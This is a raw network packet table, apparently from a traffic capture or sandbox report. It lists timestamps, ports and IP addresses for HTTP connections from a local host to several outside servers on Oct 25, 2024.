Oct 25, 2024 11:17:43.766213894 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.766232014 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.766232014 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.766232014 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.766282082 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.771429062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.771480083 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.771486998 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.771514893 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.771550894 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.771558046 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.771558046 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.771584988 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.771589041 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.771790981 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.776784897 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.776838064 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.776869059 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.776871920 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.776906967 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.776910067 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.776910067 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.777019024 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.782224894 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.782259941 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.782289028 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.782304049 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.782320976 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.782341957 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.782375097 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.782390118 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.782413960 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.782460928 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.787533998 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.787570000 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.787591934 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.787619114 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.787621021 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.787657022 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.787697077 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.787697077 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.787794113 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:43.787852049 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:43.790563107 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:43.793072939 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.793128014 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.793155909 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.793190956 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.793205023 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.793205023 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.793226957 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.793262005 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.793267965 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.793401957 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.793402910 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.798383951 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.798438072 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.798455000 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.798475027 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.798512936 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.798531055 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.798554897 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.798660994 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.803809881 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.803877115 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.803910971 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.803946018 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.803952932 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.803952932 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.804095984 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.809533119 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.809570074 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.809602022 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.809636116 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.809664011 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.809664011 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.809668064 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.809712887 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.809712887 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.815207958 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.815258980 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.815291882 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.815345049 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.815376997 CEST	80	52668	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:43.815437078 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.815571070 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:43.815763950 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:43.820703983 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.820739031 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.820770979 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.820804119 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.820806026 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.820806026 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.820837021 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.820882082 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.820882082 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.826138020 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.826172113 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.826246977 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.826344967 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.826379061 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.826450109 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.831602097 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.831634998 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.831729889 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.831752062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.831787109 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.831835985 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.831897020 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.832046986 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.837107897 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.837142944 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.837203026 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.837261915 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.837296963 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.837491989 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.842539072 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.842571974 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.842607021 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.842641115 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.842720032 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.842720032 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.848489046 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.848524094 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.848556995 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.848591089 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.848623037 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.848673105 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.848689079 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.853811026 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.853844881 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.853878975 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.853913069 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.853959084 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.853981972 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.859153986 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.859189034 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.859221935 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.859257936 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.859291077 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.859316111 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.859316111 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.859344006 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.864538908 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.864573956 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.864608049 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.864640951 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.864792109 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.864792109 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.869868040 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.869901896 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.869935989 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.869967937 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.870001078 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.870023966 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.870023966 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.870048046 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.875454903 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.875488997 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.875523090 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.875559092 CEST	80	52669	198.100.146.220	192.168.2.5
Oct 25, 2024 11:17:43.875587940 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.875665903 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.875665903 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.875781059 CEST	52669	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:17:43.875956059 CEST	52669	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:17:43.876065969 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.880892038 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.880927086 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.880959988 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.880994081 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.881004095 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.881004095 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.881040096 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.886188984 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.886238098 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.886270046 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.886303902 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.886337042 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.886368990 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.886368990 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.886384964 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.891603947 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.891638994 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.891673088 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.891705990 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.891768932 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.891768932 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.897056103 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.897089958 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.897123098 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.897156954 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.897190094 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.897221088 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.897221088 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.897233009 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.902517080 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.902549982 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.902584076 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.902616978 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.902666092 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.902686119 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.907872915 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.907907009 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.907939911 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.907975912 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.908008099 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.908030033 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.908030033 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.908061981 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.913269043 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.913311958 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.913347006 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.913379908 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.913449049 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.913449049 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.913480043 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.918601990 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.918656111 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.918690920 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.918725967 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.918725014 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.918759108 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.918812037 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.918812037 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.924308062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.924343109 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.924376965 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.924426079 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.924474955 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.924474955 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.930429935 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.930464983 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.930574894 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.930608034 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.930619955 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.930619955 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.930851936 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.935972929 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.936011076 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.936043024 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.936077118 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.936110020 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.936137915 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.936137915 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.936317921 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.941447020 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.941482067 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.941514015 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.941548109 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.941600084 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.941622019 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.947834969 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.947870016 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.947902918 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.947937012 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.947968960 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.947976112 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.948016882 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.948016882 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.953798056 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.953835011 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.953883886 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.953917980 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.953938007 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.953962088 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.954108000 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.960683107 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.960717916 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.960750103 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.960783005 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.960794926 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.960796118 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.960942030 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.960978031 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961013079 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961045980 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961052895 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.961070061 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961070061 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961081982 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961102962 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961133957 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961167097 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961184978 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961199999 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961232901 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961266994 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961287022 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961317062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961350918 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961357117 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961357117 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961385012 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961421013 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961453915 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961469889 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961503029 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961535931 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961548090 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961548090 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961569071 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961600065 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961627960 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961632013 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961663961 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961697102 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.961709976 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961709976 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961730003 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961762905 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961793900 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.961796045 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961813927 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.961829901 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961837053 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.961842060 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.961865902 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961891890 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.961951017 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.961985111 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962007046 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962019920 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962054968 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962069988 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962090015 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962106943 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962166071 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962199926 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962227106 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962235928 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962249994 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962270975 CEST	80	52654	217.79.184.35	192.168.2.5
